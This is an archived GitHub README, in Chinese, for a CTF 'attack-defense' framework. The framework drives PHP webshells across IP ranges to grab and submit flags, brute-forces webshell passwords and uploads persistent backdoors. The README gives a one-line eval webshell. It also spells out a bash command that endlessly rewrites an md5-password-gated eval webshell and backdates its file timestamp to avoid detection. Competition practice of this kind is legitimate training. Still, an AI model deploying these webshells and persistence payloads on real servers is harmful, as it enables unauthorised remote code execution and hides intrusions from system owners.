close
The Wayback Machine - https://web.archive.org/web/20200913093750/https://github.com/Ares-X/AWD-Predator-Framework
Skip to content
master
Go to file
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
 
 
 
 
 
 
 
 
 
 

README.md

AWD Predator Framework v2.0                   

          --code by AresX       
  • 在AWD攻防赛中通过给定的webshell批量获取提交flag

  • 为不会现场挖洞写脚本的菜鸡准备

  • 用py去实现菜刀是一件代码量很大的事情,懒得做也不会做(以后可能会做),所以需要手动设置一句话的功能函数和方法

  • 针对简单的单参数传递的一句话和特定的加密一句话

启动

python console.py

webshell

添加已知的webshell,仅支持php,GET和POST方法使用eval和exec函数的一句话木马

添加webshell

命令add

使用方法: add [shell path] [pwd] [type(eval/exec)] [method(get/post)]

如一句话为<?php @eval($_POST[‘cmd’]);?> 路径为x.x.x.x:8001://index/cmd.php

一句话密码为cmd 功能函数为eval 方法为POST

example:add :8001/index/cmd.php cmd eval post

注意这里添加一句话路径不加ip地址,ip地址要使用命令ip生成

命令执行后webshell的路径和密码会以字典的形式储存

处理了使用md5加密的eval函数一句话,

get方法在添加时,可添加带md5加密的密码的路径

如:add :8003/x.php?pass=fuckyou x eval get

post方法请在flag.py中修改for j in POST_eval_shells_path_pwd:循环中的eval_POST_data['pass']为自己的密码,密码将被自动传递

post添加方法同add :8001/index/cmd.php cmd eval post

显示添加的webshell

命令show

将显示所有添加的webshell路径和密码

保存,读取,清空webshell

保存已经添加的webshell路径和密码,方便临场修改代码

保存:save 读取:load 清空:clear //清空不会清空已经储存的webshell,除非在清空后执行保存命令

Webshell爆破

采用一种提速千倍的爆破方法

命令: crack http://xxx.php

字典储存在auxi/pwd.txt中,可自行完善字典

iplist

根据输入生成指定段的ip列表

生成列表

命令: ip x.x.a-b.x

可设定acb任意段的ip列表,使用'-'连接左右区间

添加指定ip

命令: ip x.x.x.x

执行命令后,x.x.x.x将被添加到ip列表中,会自动去除重复项和进行排序

查看已经生成的列表

命令: showip

显示生成的ip列表

清空ip列表

命令: clearip

去掉指定ip

命令: removeip x.x.x.x

flag

通过iplist和webshell获取flag,将获取到的flag提交到指定服务器

获取flag

遍历iplist中所有的地址尝试通过所有已经添加的webshell获取flag,在执行此命令前需设定iplist,否则报错

命令:getflag [command]

example:getflag curl www.baidu.com/flag.txt

获取命令如果不需要修改只需完整输入一次,之后可直接执行getflag

查看flag

命令: showflag

提交flag

攻防赛环境中获取到的flag通常不是标准格式,flag.py中的submit_flag函数中已经使用了re.compile(r'flag{\w+?}')尝试匹配标准flag格式 如果出现问题,请自行在flag.py文件的submit_flag函数中使用正则匹配获得标准flag进行提交

提交flag 需设定提交flag的链接,以及cookie和data,使用"?"替换flag在data中所在的参数

命令: submit [url] [cookie] [data](use '?' replace the flag )

example: submit http:xxx.xxx.xx/xx/ JSESSIONID=A6F8;route=6cf03 pid=-1&pidName=&flag=? 去掉cookie中的空格,data中flag所在位置需用?代替!

提交命令如果不需要修改只需完整输入一次,之后可直接执行submit

submit完成之后会有清空flag的选项(y/n)

清空flag

命令: clearflag

上传

文件木马上传

命令: upload <file>(default='auxi/shell.php')

默认上传文件为auxi/shell.php 如需使用修改默认文件,默认文件为加密不死马

如需上传其他文件,将文件储存在auxi/目录下

执行upload xxx即可

如上传默认文件,直接执行upload

如果文件上传成功,会自动访问一次上传的文件,激活不死马

命令木马上传

命令: cupload

连接一句话执行bash命令生成不死马.index1.php

bash命令为:system('while true;do echo \'<?php if(md5($_POST["pass"])=="3a50065e1709acc47ba0c9238294364f"){@eval($_POST[a]);} ?>\' >fuck.php;touch -m -d "2017-11-12 10:10:10" .index1.php;sleep 1;done;');

如果要修改请修改command.py中的data[z0]


目录结构

###########
├── Readme.md               //帮助文档 
├── console.py              //启动
├── core                    // 核心模块
│   ├── shells.py           //写入,读取,保存webshell
│   ├── flag.py             // 获取,提交flag
│   ├── iplist.py           // 生成ip列表   
│—— auxi                    //辅助模块
|   |—— upload.py           //webshell上传功能
|   |—— shell.php           //默认上传文件
|   |—— webshell.txt        //一句话储存路径  
|   |—— command.py          //上传bash不死马
|—— data                    //webshell数据储存

About

AWD攻防赛webshell批量利用框架

Topics

Resources

Releases

No releases published

Packages

No packages published
You can’t perform that action at this time.